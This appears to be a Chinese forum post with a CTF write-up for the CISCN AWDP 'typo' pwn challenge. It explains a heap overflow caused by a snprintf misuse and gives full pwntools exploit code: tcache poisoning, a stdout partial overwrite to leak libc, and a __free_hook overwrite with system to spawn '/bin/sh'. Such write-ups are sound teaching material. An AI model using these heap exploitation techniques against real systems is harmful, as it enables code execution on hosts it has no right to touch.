首页
社区
课程
招聘
[原创]ccb-18届ciscn-AWDP-typo题解
发表于: 3天前 319

[原创]ccb-18届ciscn-AWDP-typo题解

3天前
319

先运行./pwn查看功能

然后使用ida进行审查

发现

snprintf参数传递错误,这道题目本质是对堆进行修改,采用堆溢出的打法

但是这道题没有回显,所以先要泄漏libc地址

在libc-2.31版本中存在tcache机制,并且fd没有进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#--------------------泄漏libc基址-------------------------
 
io = start([])
payload = b"%136c"+ p64(0x511)
stdout  = libc.sym["_IO_2_1_stdout_"#d6a0
stdin   = libc.sym["_IO_2_1_stdin_"]
lss('stdout')
lss('stdin')
for i in range(12):
    add(i, 0x80)
edit(0, payload, "a")
free(1)
for i in range(12, 12+9):
    add(i, 0x80)
for i in range(12,12+7):
    free(i)
free(20)
free(19)
add(1,0x80)
free(9)
 
add(12,0x40)
add(13,0x30)
 
edit(12, b'A'*0x50+p64(0x420), "aaaa")
edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")
 
#------------------------修改io_stdout----------------------
 
add(14, 0x80)
add(15, 0x80)
edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
ru(p64(0))
libc.address = uu64()-0x1ec980

在free9之前的堆图是

在edit(13)的时候

编辑13会覆盖tcache9的fd,为什么edit13要把paload写在后半段呢,因为在第一次输入的时候snprintf会在发送的文本后面加入\0x00导致你在覆盖写的时候原本只要修改低两字节的,会修改成低3字节导致出现问题,爆破的概率1/16,因为

unsort_fd = libc+1ebb80+0x60

stdout =libc+1ed6a0

我们发现在这中只有低两字节不一样,而低两字节中的低三位是固定的,所以说只有一位是不确定的而这一位有16种

在这个泄露出来的地址是什么呢?是stdin结构的地址

stdin=libc+1ec980

因此我们拿到了libc基址开始free_hook

1
2
3
4
5
6
7
8
9
10
11
edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
free(14)
edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
add(16, 0x80)
add(17, 0x80)
edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
     
lss("libc.address")
 
edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
free(11)

在add之后堆变成了

我们将free的地址替换成了system的地址

将参数换成了/bin/sh

free(11)就替换出来system(/bin/sh)

最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
 
sd      = lambda data       :io.send(data)
sa      = lambda text,data  :io.sendafter(text, data)
sl      = lambda data       :io.sendline(data)
sla     = lambda text,data  :io.sendlineafter(text, data)
rc      = lambda num        :io.recv(num)
ru      = lambda text       :io.recvuntil(text)
rl      = lambda            :io.recvline()
pr      = lambda num=4096   :print(io.recv(num))
itr     = lambda            :io.interactive()
l32     = lambda            :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64     = lambda            :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda            :u32(io.recv(4).ljust(4,b'\x00'))
uu64    = lambda            :u64(io.recv(6).ljust(8,b'\x00'))
int16   = lambda data       :int(data,16)
ls      = lambda x          :log.success(x)
lss     = lambda x          :ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
  
#----------------------初始化-----------------------
 
attack  =   '10.10.1.113 28142'.replace(' ',':')
 
binary      =   './pwn'
ld          =   "./ld-2.31.so"
libc_path   =   './libc-2.31.so'
 
def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug([ld,'--library-path','.',binary], gdbscript=gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([ld,'--library-path','.',binary])
  
 
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
context.aslr = False
elf  = ELF(binary)
libc = ELF(libc_path,False)
 
#---------------debug------------------
#断点
 
gdbscript = '''
brva 0x001698
brva 0x01754
 
'''.format(**locals())
 
  
menu = ">>"
def add(idx,size):
    sla(menu,'1')
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
 
def free(idx):
    sla(menu,'2')
    sla("Index: ",str(idx))
 
  
def edit(idx,size,text):
    sla(menu, '3'
    sla("Index: ", str(idx)) 
    sa("New size of content: ", size) 
    sa("What do you want to say: ", text)
  
 
#--------------------泄漏libc基址-------------------------
 
io = start([])
payload = b"%136c"+ p64(0x511)
stdout  = libc.sym["_IO_2_1_stdout_"#d6a0
stdin   = libc.sym["_IO_2_1_stdin_"]
lss('stdout')
lss('stdin')
for i in range(12):
    add(i, 0x80)
edit(0, payload, "a")
free(1)
for i in range(12, 12+9):
    add(i, 0x80)
for i in range(12,12+7):
    free(i)
free(20)
free(19)
add(1,0x80)
free(9)
 
add(12,0x40)
add(13,0x30)
 
edit(12, b'A'*0x50+p64(0x420), "aaaa")
edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")
 
#------------------------修改io_stdout----------------------
 
add(14, 0x80)
add(15, 0x80)
edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
ru(p64(0))
libc.address = uu64()-0x1ec980
 
#------------------------free_hook-----------------------
 
edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
free(14)
edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
add(16, 0x80)
add(17, 0x80)
edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
     
lss("libc.address")
 
edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
free(11)
itr()

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 10小时前 被不再pwn编辑 ,原因: 改主题
上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回